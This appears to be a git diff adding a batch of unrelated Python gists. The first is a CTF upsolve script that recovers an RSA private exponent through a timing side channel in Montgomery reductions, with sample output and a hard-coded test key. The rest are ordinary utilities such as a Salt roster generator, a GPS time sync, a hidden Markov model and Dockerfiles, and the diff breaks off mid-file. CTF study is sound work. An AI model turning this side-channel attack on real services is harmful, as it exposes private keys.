+Timing attack on RSA decryption.
+Based on http://www.cs.jhu.edu/~fabian/courses/CS600.624/Timing-full.pdf
+
+Another solutions:
+https://gist.github.com/nneonneo/367240ae2d8e705bb9173a49a7c8b0cd by b2xiao
+https://gist.github.com/Riatre/caac24840b176cf843b3f66ad9a5eeaf by riatre
+
+(We didn't solve the challenge during the CTF, upsolved later).
+
+- The challenge binary leaks number of modular subtractions in Montgomery reductions.
+- By guessing the secret exponent bit-by-bit, we can predict for any message whether a particular subtraction was made.
+- As in the paper, attacking squaring reduction is more preferable.
+- For correct bit guess our prediction results in observable difference in distributions.
+- For incorrect guess, the difference should be smaller.
+
+A pool of ~200k signatures with timings is enough (at least for specified local N,d).
+Possibly we can use less signatures with error correction but is a bit tedious to implement.
+
+For local testing:
+/home/godzilla/private.key:
+modulus: 621765037979243120244866560860969322461463809129505955186452584191781197841649371514421546962009613592757586308279377033451677755878455977108757795291066809685046961038952999040910695459046816930080946215577583202802372206660787951
+privateExponent: 13073412306565711272982073040670395751283963699596551661609955613108236425619006575627094491869466828369012221078305566175300329355043186187545693870963542712368839629270596359194127129928012640315145165189316557655977123753630961
+
+After collecting 200k signatures:
+$ time pypy rsa_timing_attack_d.py
+Address: 127.0.0.1:3030
+Pool: pool_local
+Loaded 200000 items
+...
+Current minimum delta delta: 8.77617921084 avg 160.586027156
+
+Full d recovered!
+13073412306565711272982073040670395751283963699596551661609955613108236425619006575627094491869466828369012221078305566175300329355043186187545693870963542712368839629270596359194127129928012640315145165189316557655977123753630961
+
+real    11m47.278s
+user    11m45.860s
+sys 0m2.996s
+
+(minimum delta is quite low, seems we need more signatures to be sure)
+'''
+
+from sock import Sock
+from libnum import invmod
+from struct import pack, unpack
+
+if 1:
+    pool_fname = "pool_local"
+    addr = "127.0.0.1:3030"
+
+    # p = 0x8955632da8661739b0d729001befe603cca087282fadea8fc899f6ce49061acd9347b387d54ea007ec57d0698c8d978d
+    # q = 0xbf1d3b6a1dccf82a333dec6285ab7bc6839194e6184c15d5dbe3e44098879040d2a2816b27078f1434f422127cf7236b
+    # n = 0x6686638ae80377047e22f72267e705c9fa726016b08ad44278c6a006fb8dfcdd01e2b6cd8df5dab59a9af240fee86f4c598d2ffc7e4e55dcbb227df17bd9b220de2f7ea20f4506143388387b7827716de995f4f135718a24c6971e449ff19eef
+    # d = 0x227dd3bf478ee2db801403506fe428ee6a735020520462a47a3d5859010823a9b698af27383b1df93aaa2615f7abfac5265be9ce18a2147352e60fe6ff453781e702f7c6ffa51da43c3b207307b774256e06b9f0ad05a6faa1a148799321cf1
+
+    N = 0x6686638ae80377047e22f72267e705c9fa726016b08ad44278c6a006fb8dfcdd01e2b6cd8df5dab59a9af240fee86f4c598d2ffc7e4e55dcbb227df17bd9b220de2f7ea20f4506143388387b7827716de995f4f135718a24c6971e449ff19eef
+    privexp = 0x227dd3bf478ee2db801403506fe428ee6a735020520462a47a3d5859010823a9b698af27383b1df93aaa2615f7abfac5265be9ce18a2147352e60fe6ff453781e702f7c6ffa51da43c3b207307b774256e06b9f0ad05a6faa1a148799321cf1
+else:
+    pool_fname = "pool_task"
+    addr = "godzilla_3751355706cae43e14bd797a16946483.quals.shallweplayaga.me:11577"
+
+    N = 1003103838556651507628555636330026033778617920156717988356542246694938166737814566792763905093451568623751209393228473104621241127455927948500155303095577513801000908445368656518814002954652859078574695890342113223231421454500402449
+    privexp = None
+
+print "Address:", addr
+print "Pool:", pool_fname
+
+
+## Montgomery stuff
+
+RE = 768
+R = 2**RE
+RMASK = R - 1
+Ni = -invmod(N, R) % R
+Ri = invmod(R, N)
+
+assert R > N
+assert N * Ni % R == R - 1
+assert R * Ri % N == 1
+
+def redc(T):
+    '''From wikipedia
+    take (aR % N) * (bR % N)
+    return abR % N, was_reduced
+    '''
+    m = ((T & RMASK) * Ni) & RMASK
+    t = (T + m * N) >> RE
+    if t >= N:
+        return (t - N), 1
+        t -= N
+    return t, 0
+
+def to_mont(m):
+    return (m * R) % N
+
+def mont_square(x):
+    x = x * x
+    x, flag = redc(x)
+    return x, flag
+
+def mont_mul_cond(x, m0r, bit):
+    flag = 0
+    if bit:
+        x = (x * m0r)
+        x, flag = redc(x)
+    return x, flag
+
+def mont_exp_one_round(x, m0r, bit):
+    x, flag = mont_mul_cond(x, m0r, bit)
+    x, flag = mont_square(x)
+    return x, flag
+
+
+## Challenge specific
+
+f = Sock(addr)
+
+def bignum2ints(n):
+    res = []
+    for i in xrange(0x18):
+        res.append(n % 2**32)
+        n >>= 32
+    return res
+
+def decryptTime(bignum):
+    global f
+    try:
+        f.send(pack("<I", 0x41424344))
+        f.send(chr(0x80 | 0x01))
+
+        p = "".join(pack("<I", c) for c in bignum2ints(bignum))
+        assert len(p) == 0x60
+        f.send(p)
+
+        buf = "WWWWXXXXYYYYZZZZ"
+        f.send(chr(len(buf)))
+        f.send(buf)
+
+        b = f.read_nbytes(16)
+        assert b[12:] == "\x02\x00\xff\x00", b.encode("hex")
+        vals = unpack("<3I", b[:12])
+        # vals[0] - some rdtsc difference
+        # vals[1] - leaked number of reductions
+        # vals[2] - some rdtsc difference
+        return vals[1]
+    except EOFError:
+        print "EOF, retry"
+        f = Sock(addr)
+        return decryptTime(bignum)
+
+
+# loading / filling pool of signatures with timings
+# pool: list of (message, timing) pairs
+
+import ast
+pool = []
+for line in open(pool_fname):
+    pool.append(ast.literal_eval(line))
+    if len(pool) >= 200000:
+        break
+print "Loaded", len(pool), "items"
+
+if "y" in raw_input("Collect? [y/N]"):
+    fp = open(pool_fname, "a")
+    itr = 0
+    while 1:
+        itr += 1
+        if itr % 100 == 0:
+            print itr
+        m = random.randint(1, N-1)
+        t = decryptTime(m)
+        pool.append((m, t))
+        fp.write(`pool[-1]` + "\n")
+        fp.flush()
+
+def avg(l):
+    return sum(l)/float(len(l))
+
+# maintain partially exponentiated messages
+# (up to known bits of d)
+pool = [
+    (
+        mont_square(to_mont(m))[0],
+        to_mont(m),
+        time,
+    )
+    for m, time in pool
+]
+
+current_d = 1
+mindiff = 1e9
+sumdiff = 0
+for di in xrange(768):
+    print "di", di
+    sm = 0
+    goods = [0] * (2**1)
+
+    MS = [[], []], [[], []]
+    pool2 = []
+    for mcur, m0r, real in pool:
+        if current_d > 1:
+            # partially exponentiate using previously guessed bit
+            mcur, _ = mont_exp_one_round(mcur, m0r, current_d & 1)
+        pool2.append((mcur, m0r, real))
+
+        for bit in xrange(2):
+            _, e = mont_exp_one_round(mcur, m0r, bit)
+            MS[bit][e].append(real)
+    pool = pool2
+
+    m0 = avg(MS[0][0]), avg(MS[0][1])
+    m1 = avg(MS[1][0]), avg(MS[1][1])
+    delta0 = m0[1] - m0[0]
+    delta1 = m1[1] - m1[0]
+    print m0, delta0
+    print m1, delta1
+    if delta0 > delta1:
+        guessed = 0
+    else:
+        guessed = 1
+    mindiff = min(mindiff, abs(delta0 - delta1))
+    sumdiff += abs(delta0 - delta1)
+    print "Current minimum delta delta:", mindiff, "avg", sumdiff / float(di+1)
+    print
+
+    current_d <<= 1
+    current_d |= guessed
+    print bin(current_d)[:100] + "..."
+    if pow(31337, 0x10001 * current_d, N) == 31337:
+        print "Full d recovered!"
+        print current_d
+        break
+
+    if privexp:
+        print bin(privexp)[:100] + "..."
+        realbit = int(bin(privexp)[2:][1+di])
+        print "Correct?", guessed, "=?", realbit, ":", guessed == realbit
+        if guessed != realbit:
+            print "FAIL"
+            quit()
diff --git a/hard-gists/7521277/._snippet.py b/hard-gists/7521277/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7521277/._snippet.py differ
diff --git a/hard-gists/7521277/snippet.py b/hard-gists/7521277/snippet.py
new file mode 100644
index 00000000..054bf235
--- /dev/null
+++ b/hard-gists/7521277/snippet.py
@@ -0,0 +1,137 @@
+#!/usr/bin/env python
+import os
+import argparse
+import yaml
+
+
+class IRosterFactory(object):
+
+    """ Interface for objects that can generate a Salt roster """
+
+    def __init__(self, args):
+        self.args = args
+
+    @staticmethod
+    def add_arguments(parser):
+        """ Add any provider-specific args to the parser """
+        raise NotImplementedError
+
+    def get_hosts(self):
+        """ Get a mapping of server names to ip addresses """
+        raise NotImplementedError
+
+
+class DORosterFactory(IRosterFactory):
+
+    """ Roster factory for droplets on Digital Ocean """
+
+    @staticmethod
+    def add_arguments(parser):
+        parser.add_argument('--client-id', help="Digital Ocean client id")
+        parser.add_argument('--api-key', help="Digital Ocean api key")
+        parser.add_argument('--do-private', action='store_true',
+                            help="Use private ip addresses")
+
+    def get_hosts(self):
+        import requests
+        params = {
+            'client_id': self.args.client_id,
+            'api_key': self.args.api_key,
+        }
+        response = requests.get('https://api.digitalocean.com/droplets/',
+                                params=params)
+        droplets = response.json()['droplets']
+        hosts = {}
+        for droplet in droplets:
+            if not self.args.do_private:
+                hosts[droplet['name']] = droplet['ip_address']
+            elif droplet['private_ip_address'] is not None:
+                hosts[droplet['name']] = droplet['private_ip_address']
+        return hosts
+
+
+class AWSRosterFactory(IRosterFactory):
+
+    """ Roster factory for EC2 servers on AWS """
+
+    @staticmethod
+    def add_arguments(parser):
+        parser.add_argument('--region', default='us-west-1',
+                            help="The AWS region to use (default %(default)s)")
+        parser.add_argument('--access-key-id',
+                            default=os.environ.get('AWS_ACCESS_KEY_ID'),
+                            help="Your AWS access key id. Defaults to the "
+                            "environment variable AWS_ACCESS_KEY_ID.")
+        parser.add_argument('--secret-access-key',
+                            default=os.environ.get('AWS_SECRET_ACCESS_KEY'),
+                            help="Your AWS secret. Defaults to the environment "
+                            "variable AWS_SECRET_ACCESS_KEY.")
+        parser.add_argument('--aws-private', action='store_true',
+                            help="Use private ip addresses")
+
+    def get_hosts(self):
+        import boto.ec2
+        conn = boto.ec2.connect_to_region(
+            self.args.region,
+            aws_access_key_id=self.args.access_key_id,
+            aws_secret_access_key=self.args.secret_access_key)
+        id_map = {}
+        servers = {}
+        tags = conn.get_all_tags()
+        for reservation in conn.get_all_instances():
+            for instance in reservation.instances:
+                id_map[instance.id] = instance
+        for tag in tags:
+            try:
+                if tag.name.lower() == "name":
+                    instance = id_map[tag.res_id]
+                    if self.args.aws_private:
+                        servers[tag.value] = instance.private_ip_address
+                    else:
+                        servers[tag.value] = instance.ip_address
+            except KeyError:
+                pass
+        return servers
+
+
+__all_factories__ = {
+    'aws': AWSRosterFactory,
+    'digitalocean': DORosterFactory,
+}
+
+
+def main():
+    """ Generate a salt roster from your cloud servers """
+    parser = argparse.ArgumentParser(description=main.__doc__)
+
+    parser.add_argument('cloud', choices=__all_factories__.keys(),
+                        help="The cloud provider")
+    parser.add_argument('-o', '--outfile', default='/etc/salt/roster',
+                        help="Write this roster to this file (default "
+                        "%(default)s)")
+    parser.add_argument('-u', '--user', default='ubuntu',
+                        help="The user account for ssh login "
+                        "(default %(default)s)")
+    parser.add_argument('-n', '--no-sudo', action='store_true',
+                        help="Do not use sudo on the remote servers")
+
+    for name, reader in __all_factories__.iteritems():
+        group = parser.add_argument_group(name, reader.__doc__)
+        reader.add_arguments(group)
+
+    args = parser.parse_args()
+    factory_class = __all_factories__[args.cloud]
+    factory = factory_class(args)
+    hosts = factory.get_hosts()
+    roster = {}
+    for name, ip in hosts.iteritems():
+        roster[name] = {
+            'host': ip,
+            'user': args.user,
+            'sudo': not args.no_sudo,
+        }
+    with open(args.outfile, 'w') as ofile:
+        yaml.safe_dump(roster, ofile)
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/7524815/._snippet.py b/hard-gists/7524815/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7524815/._snippet.py differ
diff --git a/hard-gists/7524815/snippet.py b/hard-gists/7524815/snippet.py
new file mode 100644
index 00000000..71aa0ec9
--- /dev/null
+++ b/hard-gists/7524815/snippet.py
@@ -0,0 +1,39 @@
+#! /usr/bin/python
+
+#####################
+#  GPS-TIME-SYNC    #
+#  2013 flazer      #
+#  info@flazer.net  #
+#####################
+
+# Connects to your GPS-Dongle and synchronize systemtime with GPS-UTC-time.
+# Handles local-timezones
+
+import os
+import sys
+from gps import *
+from datetime import datetime
+from pytz import timezone
+
+# Change to your timezone:
+localzone = 'Europe/Berlin'
+
+print 'Attempting to access GPS...'
+
+try:
+  gpsd = gps(mode=WATCH_ENABLE)
+except:
+  print 'No GPS connection. NO TIME-SYNC.'
+  sys.exit()
+
+while True:
+  gpsd.next()
+  if gpsd.utc != None and gpsd.utc != '':
+   tz = timezone('UTC')
+   dtz = tz.normalize(tz.localize(datetime(int(gpsd.utc[0:4]), int(gpsd.utc[5:7]), int(gpsd.utc[8:10]), int(gpsd.utc[11:13]), int(gpsd.utc[14:16]), int(gpsd.utc[17:19]))))
+   dgmt = dtz.astimezone(timezone(localzone))
+   gpstime = dgmt.strftime('%m%d%H%M%Y.%S')
+   print 'Synchronizing system time... (' + gpstime + ')'
+   os.system('date ' +  gpstime)
+   print 'System time set.'
+   sys.exit()
\ No newline at end of file
diff --git a/hard-gists/7535869/._snippet.py b/hard-gists/7535869/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7535869/._snippet.py differ
diff --git a/hard-gists/7535869/snippet.py b/hard-gists/7535869/snippet.py
new file mode 100644
index 00000000..db544778
--- /dev/null
+++ b/hard-gists/7535869/snippet.py
@@ -0,0 +1,11 @@
+from dateutil import rrule
+from datetime import datetime
+
+def get_schedule_holidays_rrules():
+    return [
+        rrule.rrule(rrule.YEARLY, dtstart=datetime.now(), bymonth=1, bymonthday=1),              # New Years
+        rrule.rrule(rrule.YEARLY, dtstart=datetime.now(), bymonth=5, byweekday=rrule.MO(-1)),    # Memorial
+        rrule.rrule(rrule.YEARLY, dtstart=datetime.now(), bymonth=7, bymonthday=4),              # Independence
+        rrule.rrule(rrule.YEARLY, dtstart=datetime.now(), bymonth=11, byweekday=rrule.TH(4)),    # Thanksgiving
+        rrule.rrule(rrule.YEARLY, dtstart=datetime.now(), bymonth=12, bymonthday=25),            # Christmas
+    ]
\ No newline at end of file
diff --git a/hard-gists/7540117/._snippet.py b/hard-gists/7540117/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7540117/._snippet.py differ
diff --git a/hard-gists/7540117/snippet.py b/hard-gists/7540117/snippet.py
new file mode 100644
index 00000000..5dc8e62b
--- /dev/null
+++ b/hard-gists/7540117/snippet.py
@@ -0,0 +1,87 @@
+from pyramid.security import ALL_PERMISSIONS
+from pyramid.security import DENY_ALL
+from pyramid.security import Allow
+from pyramid.security import Everyone
+from sqlalchemy import Column, Integer, Text, Unicode
+from sqlalchemy.ext.declarative import declarative_base
+from sqlalchemy.orm import scoped_session, sessionmaker, synonym
+from zope.sqlalchemy import ZopeTransactionExtension
+
+import cryptacular.bcrypt
+
+ADMINS = []
+
+DBSession = scoped_session(sessionmaker(extension=ZopeTransactionExtension()))
+Base = declarative_base()
+
+crypt = cryptacular.bcrypt.BCRYPTPasswordManager()
+def hash_password(password):
+    return unicode(crypt.encode(password))
+
+
+def groupfinder(userid, request):
+    """callback for authentication policy"""
+    if userid in ADMINS:
+        return ['g:admins']
+    else:
+        return []
+
+
+class UserFactory(object):
+
+    def __init__(self, request):
+        self.request = request
+
+    def __getitem__(self, key):
+        user = User.get_by_username(key)
+        user.__parent__ = self
+        user.__name__ = key
+        return user
+
+
+class User(Base):
+
+    @property
+    def __acl__(self):
+        return [
+            (Allow, self.email, 'edit'),
+            (Allow, 'g:admins', ALL_PERMISSIONS),
+            (Allow, Everyone, 'view'), #DENY_ALL if no public user view
+        ]
+
+    __tablename__ = 'users'
+    user_id = Column(Integer, primary_key=True)
+    username = Column(Unicode(20), unique=True)
+    name = Column(Unicode(50))
+    email = Column(Unicode(50))
+    hits = Column(Integer, default=0)
+    misses = Column(Integer, default=0)
+    delivered_hits = Column(Integer, default=0)
+    delivered_misses = Column(Integer, default=0)
+    _password = Column('password', Unicode(60))
+
+    def _get_password(self):
+        return self._password
+
+    def _set_password(self, password):
+        self._password = hash_password(password)
+
+    password = property(_get_password, _set_password)
+    password = synonym('_password', descriptor=password)
+
+    def __init__(self, username, password, name, email):
+        self.username = username
+        self.name = name
+        self.email = email
+        self.password = password
+
+    @classmethod
+    def get_by_username(cls, username):
+        return DBSession.query(cls).filter(cls.username == username).first()
+
+    @classmethod
+    def check_password(cls, username, password):
+        user = cls.get_by_username(username)
+        if not user:
+            return False
+        return crypt.check(user.password, password)
\ No newline at end of file
diff --git a/hard-gists/754329/._snippet.py b/hard-gists/754329/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/754329/._snippet.py differ
diff --git a/hard-gists/754329/snippet.py b/hard-gists/754329/snippet.py
new file mode 100644
index 00000000..2cb8008a
--- /dev/null
+++ b/hard-gists/754329/snippet.py
@@ -0,0 +1,6 @@
+from tastypie.authentication import Authentication
+
+class DjangoAuthentication(Authentication):
+    """Authenticate based upon Django session"""
+    def is_authenticated(self, request, **kwargs):
+        return request.user.is_authenticated()
diff --git a/hard-gists/7543724/._snippet.py b/hard-gists/7543724/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7543724/._snippet.py differ
diff --git a/hard-gists/7543724/snippet.py b/hard-gists/7543724/snippet.py
new file mode 100644
index 00000000..413b9e7b
--- /dev/null
+++ b/hard-gists/7543724/snippet.py
@@ -0,0 +1,46 @@
+# -*- coding: utf-8 -*-
+
+"""Add permissions for proxy model.
+
+This is needed because of the bug https://code.djangoproject.com/ticket/11154
+in Django (as of 1.6, it's not fixed).
+
+When a permission is created for a proxy model, it actually creates if for it's
+base model app_label (eg: for "article" instead of "about", for the About proxy
+model).
+
+What we need, however, is that the permission be created for the proxy model
+itself, in order to have the proper entries displayed in the admin.
+
+"""
+
+from __future__ import unicode_literals, absolute_import, division
+
+import sys
+
+from django.contrib.auth.management import _get_all_permissions
+from django.contrib.auth.models import Permission
+from django.contrib.contenttypes.models import ContentType
+from django.core.management.base import BaseCommand
+from django.db.models import get_models
+from django.utils.encoding import smart_unicode
+
+
+class Command(BaseCommand):
+    help = "Fix permissions for proxy models."
+
+    def handle(self, *args, **options):
+        for model in get_models():
+            opts = model._meta
+            ctype, created = ContentType.objects.get_or_create(
+                app_label=opts.app_label,
+                model=opts.object_name.lower(),
+                defaults={'name': smart_unicode(opts.verbose_name_raw)})
+
+            for codename, name in _get_all_permissions(opts, ctype):
+                p, created = Permission.objects.get_or_create(
+                    codename=codename,
+                    content_type=ctype,
+                    defaults={'name': name})
+                if created:
+                    sys.stdout.write('Adding permission {}\n'.format(p))
diff --git a/hard-gists/75483d51641a0c03bf7c/._snippet.py b/hard-gists/75483d51641a0c03bf7c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/75483d51641a0c03bf7c/._snippet.py differ
diff --git a/hard-gists/75483d51641a0c03bf7c/snippet.py b/hard-gists/75483d51641a0c03bf7c/snippet.py
new file mode 100644
index 00000000..106e0575
--- /dev/null
+++ b/hard-gists/75483d51641a0c03bf7c/snippet.py
@@ -0,0 +1,193 @@
+# (C) Kyle Kastner, June 2014
+# License: BSD 3 clause
+
+import scipy.stats as st
+import numpy as np
+
+class gmmhmm:
+    #This class converted with modifications from https://code.google.com/p/hmm-speech-recognition/source/browse/Word.m
+    def __init__(self, n_states):
+        self.n_states = n_states
+        self.random_state = np.random.RandomState(0)
+        
+        #Normalize random initial state
+        self.prior = self._normalize(self.random_state.rand(self.n_states, 1))
+        self.A = self._stochasticize(self.random_state.rand(self.n_states, self.n_states))
+        
+        self.mu = None
+        self.covs = None
+        self.n_dims = None
+           
+    def _forward(self, B):
+        log_likelihood = 0.
+        T = B.shape[1]
+        alpha = np.zeros(B.shape)
+        for t in range(T):
+            if t == 0:
+                alpha[:, t] = B[:, t] * self.prior.ravel()
+            else:
+                alpha[:, t] = B[:, t] * np.dot(self.A.T, alpha[:, t - 1])
+         
+            alpha_sum = np.sum(alpha[:, t])
+            alpha[:, t] /= alpha_sum
+            log_likelihood = log_likelihood + np.log(alpha_sum)
+        return log_likelihood, alpha
+    
+    def _backward(self, B):
+        T = B.shape[1]
+        beta = np.zeros(B.shape);
+           
+        beta[:, -1] = np.ones(B.shape[0])
+            
+        for t in range(T - 1)[::-1]:
+            beta[:, t] = np.dot(self.A, (B[:, t + 1] * beta[:, t + 1]))
+            beta[:, t] /= np.sum(beta[:, t])
+        return beta
+    
+    def _state_likelihood(self, obs):
+        obs = np.atleast_2d(obs)
+        B = np.zeros((self.n_states, obs.shape[1]))
+        for s in range(self.n_states):
+            #Needs scipy 0.14
+            B[s, :] = st.multivariate_normal.pdf(obs.T, mean=self.mu[:, s].T, cov=self.covs[:, :, s].T)
+            #This function can (and will!) return values >> 1
+            #See the discussion here for the equivalent matlab function
+            #https://groups.google.com/forum/#!topic/comp.soft-sys.matlab/YksWK0T74Ak
+            #Key line: "Probabilities have to be less than 1,
+            #Densities can be anything, even infinite (at individual points)."
+            #This is evaluating the density at individual points...
+        return B
+    
+    def _normalize(self, x):
+        return (x + (x == 0)) / np.sum(x)
+    
+    def _stochasticize(self, x):
+        return (x + (x == 0)) / np.sum(x, axis=1)
+    
+    def _em_init(self, obs):
+        #Using this _em_init function allows for less required constructor args
+        if self.n_dims is None:
+            self.n_dims = obs.shape[0]
+        if self.mu is None:
+            subset = self.random_state.choice(np.arange(self.n_dims), size=self.n_states, replace=False)
+            self.mu = obs[:, subset]
+        if self.covs is None:
+            self.covs = np.zeros((self.n_dims, self.n_dims, self.n_states))
+            self.covs += np.diag(np.diag(np.cov(obs)))[:, :, None]
+        return self
+    
+    def _em_step(self, obs): 
+        obs = np.atleast_2d(obs)
+        B = self._state_likelihood(obs)
+        T = obs.shape[1]
+        
+        log_likelihood, alpha = self._forward(B)
+        beta = self._backward(B)
+        
+        xi_sum = np.zeros((self.n_states, self.n_states))
+        gamma = np.zeros((self.n_states, T))
+        
+        for t in range(T - 1):
+            partial_sum = self.A * np.dot(alpha[:, t], (beta[:, t] * B[:, t + 1]).T)
+            xi_sum += self._normalize(partial_sum)
+            partial_g = alpha[:, t] * beta[:, t]
+            gamma[:, t] = self._normalize(partial_g)
+              
+        partial_g = alpha[:, -1] * beta[:, -1]
+        gamma[:, -1] = self._normalize(partial_g)
+        
+        expected_prior = gamma[:, 0]
+        expected_A = self._stochasticize(xi_sum)
+        
+        expected_mu = np.zeros((self.n_dims, self.n_states))
+        expected_covs = np.zeros((self.n_dims, self.n_dims, self.n_states))
+        
+        gamma_state_sum = np.sum(gamma, axis=1)
+        #Set zeros to 1 before dividing
+        gamma_state_sum = gamma_state_sum + (gamma_state_sum == 0)
+        
+        for s in range(self.n_states):
+            gamma_obs = obs * gamma[s, :]
+            expected_mu[:, s] = np.sum(gamma_obs, axis=1) / gamma_state_sum[s]
+            partial_covs = np.dot(gamma_obs, obs.T) / gamma_state_sum[s] - np.dot(expected_mu[:, s], expected_mu[:, s].T)
+            #Symmetrize
+            partial_covs = np.triu(partial_covs) + np.triu(partial_covs).T - np.diag(partial_covs)
+        
+        #Ensure positive semidefinite by adding diagonal loading
+        expected_covs += .01 * np.eye(self.n_dims)[:, :, None]
+        
+        self.prior = expected_prior
+        self.mu = expected_mu
+        self.covs = expected_covs
+        self.A = expected_A
+        return log_likelihood
+    
+    def fit(self, obs, n_iter=15):
+        #Support for 2D and 3D arrays
+        #2D should be n_features, n_dims
+        #3D should be n_examples, n_features, n_dims
+        #For example, with 6 features per speech segment, 105 different words
+        #this array should be size
+        #(105, 6, X) where X is the number of frames with features extracted
+        #For a single example file, the array should be size (6, X)
+        if len(obs.shape) == 2:
+            for i in range(n_iter):
+                self._em_init(obs)
+                log_likelihood = self._em_step(obs)
+        elif len(obs.shape) == 3:
+            count = obs.shape[0]
+            for n in range(count):
+                for i in range(n_iter):
+                    self._em_init(obs[n, :, :])
+                    log_likelihood = self._em_step(obs[n, :, :])
+        return self
+    
+    def transform(self, obs):
+        #Support for 2D and 3D arrays
+        #2D should be n_features, n_dims
+        #3D should be n_examples, n_features, n_dims
+        #For example, with 6 features per speech segment, 105 different words
+        #this array should be size
+        #(105, 6, X) where X is the number of frames with features extracted
+        #For a single example file, the array should be size (6, X)
+        if len(obs.shape) == 2:
+            B = self._state_likelihood(obs)
+            log_likelihood, _ = self._forward(B)
+            return log_likelihood
+        elif len(obs.shape) == 3:
+            count = obs.shape[0]
+            out = np.zeros((count,))
+            for n in range(count):
+                B = self._state_likelihood(obs[n, :, :])
+                log_likelihood, _ = self._forward(B)
+                out[n] = log_likelihood
+            return out
+
+if __name__ == "__main__":
+    rstate = np.random.RandomState(0)
+    t1 = np.ones((4, 40)) + .001 * rstate.rand(4, 40)
+    t1 /= t1.sum(axis=0)
+    t2 = rstate.rand(*t1.shape)
+    t2 /= t2.sum(axis=0)
+    
+    m1 = gmmhmm(2)
+    m1.fit(t1)
+    m2 = gmmhmm(2)
+    m2.fit(t2)
+    
+    m1t1 = m1.transform(t1)
+    m2t1 = m2.transform(t1)
+    print "Likelihoods for test set 1"
+    print "M1:",m1t1
+    print "M2:",m2t1
+    print "Prediction for test set 1"
+    print "Model", np.argmax([m1t1, m2t1]) + 1
+    print 
+    
+    m1t2 = m1.transform(t2)
+    m2t2 = m2.transform(t2)
+    print "Likelihoods for test set 2"
+    print "M1:",m1t2
+    print "M2:",m2t2
+    print "Prediction for test set 2"
+    print "Model", np.argmax([m1t2, m2t2]) + 1
\ No newline at end of file
diff --git a/hard-gists/7551089/._snippet.py b/hard-gists/7551089/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7551089/._snippet.py differ
diff --git a/hard-gists/7551089/snippet.py b/hard-gists/7551089/snippet.py
new file mode 100644
index 00000000..94e41f86
--- /dev/null
+++ b/hard-gists/7551089/snippet.py
@@ -0,0 +1,36 @@
+# Script: webpage_getlinks.py 
+# Desc: Basic web site info gathering and analysis script. From a URL gets 
+# page content, parsing links out. 
+# 
+import sys, re 
+import webpage_get 
+ 
+def print_links(page): 
+ ''' find all hyperlinks on a webpage passed in as input and 
+print ''' 
+ print '[*] print_links()' 
+ # regex to match on hyperlinks, returning 3 grps, links[1] being the link itself
+ # The regex below is incorrect so don't take this as a final answer
+ links = re.findall(r'(\<a.*href\=.*)(http\:.+)(\"+)', page) 
+ # sort and print the links 
+ links.sort() 
+ print '[+]', str(len(links)), 'HyperLinks Found:' 
+ for link in links: 
+     print link
+ 
+def main(): 
+ # temp testing url argument 
+ sys.argv.append('http://www.napier.ac.uk/Pages/home.aspx') 
+ 
+ # Check args 
+ if len(sys.argv) != 2: 
+     print '[-] Usage: webpage_getlinks URL' 
+     return 
+ 
+ # Get the web page 
+ page = webpage_get.wget(sys.argv[1]) 
+ # Get the links 
+ print_links(page) 
+ 
+if __name__ == '__main__': 
+ main()
diff --git a/hard-gists/755524/._snippet.py b/hard-gists/755524/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/755524/._snippet.py differ
diff --git a/hard-gists/755524/snippet.py b/hard-gists/755524/snippet.py
new file mode 100644
index 00000000..9e3dd8f0
--- /dev/null
+++ b/hard-gists/755524/snippet.py
@@ -0,0 +1,36 @@
+#!/usr/bin/env python
+
+"""
+PIP can stand for PIP Installs packages Programmatically, too!
+(and here's how)
+
+Requires: 
+    * Python 2.6 or higher (for print-as-a-function)
+    * PIP 0.8.2
+"""
+
+from __future__ import print_function
+
+from pip.index import PackageFinder
+from pip.req import InstallRequirement, RequirementSet
+from pip.locations import build_prefix, src_prefix
+
+requirement_set = RequirementSet(
+    build_dir=build_prefix,
+    src_dir=src_prefix,
+    download_dir=None)
+
+requirement_set.add_requirement( InstallRequirement.from_line("django-hoptoad", None) )
+
+install_options = []
+global_options = []
+finder = PackageFinder(find_links=[], index_urls=["http://pypi.python.org/simple/"])
+
+requirement_set.prepare_files(finder, force_root_egg_info=False, bundle=False)
+requirement_set.install(install_options, global_options)
+
+print("")
+print("Installed")
+print("==================================")
+[ print(package.name) for package in requirement_set.successfully_installed ]
+print("")
diff --git a/hard-gists/756b1d8df2d1487497d29b90e81f8068/._snippet.py b/hard-gists/756b1d8df2d1487497d29b90e81f8068/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/756b1d8df2d1487497d29b90e81f8068/._snippet.py differ
diff --git a/hard-gists/756b1d8df2d1487497d29b90e81f8068/Dockerfile-llm-3.7 b/hard-gists/756b1d8df2d1487497d29b90e81f8068/Dockerfile-llm-3.7
new file mode 100644
index 00000000..472e04ef
--- /dev/null
+++ b/hard-gists/756b1d8df2d1487497d29b90e81f8068/Dockerfile-llm-3.7
@@ -0,0 +1,11 @@
+# FROM is the found expected Python version
+FROM python:3.7
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","pyopenssl==26.0.0"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/756b1d8df2d1487497d29b90e81f8068/Dockerfile-llm-3.8 b/hard-gists/756b1d8df2d1487497d29b90e81f8068/Dockerfile-llm-3.8
new file mode 100644
index 00000000..5ca46d69
--- /dev/null
+++ b/hard-gists/756b1d8df2d1487497d29b90e81f8068/Dockerfile-llm-3.8
@@ -0,0 +1,12 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
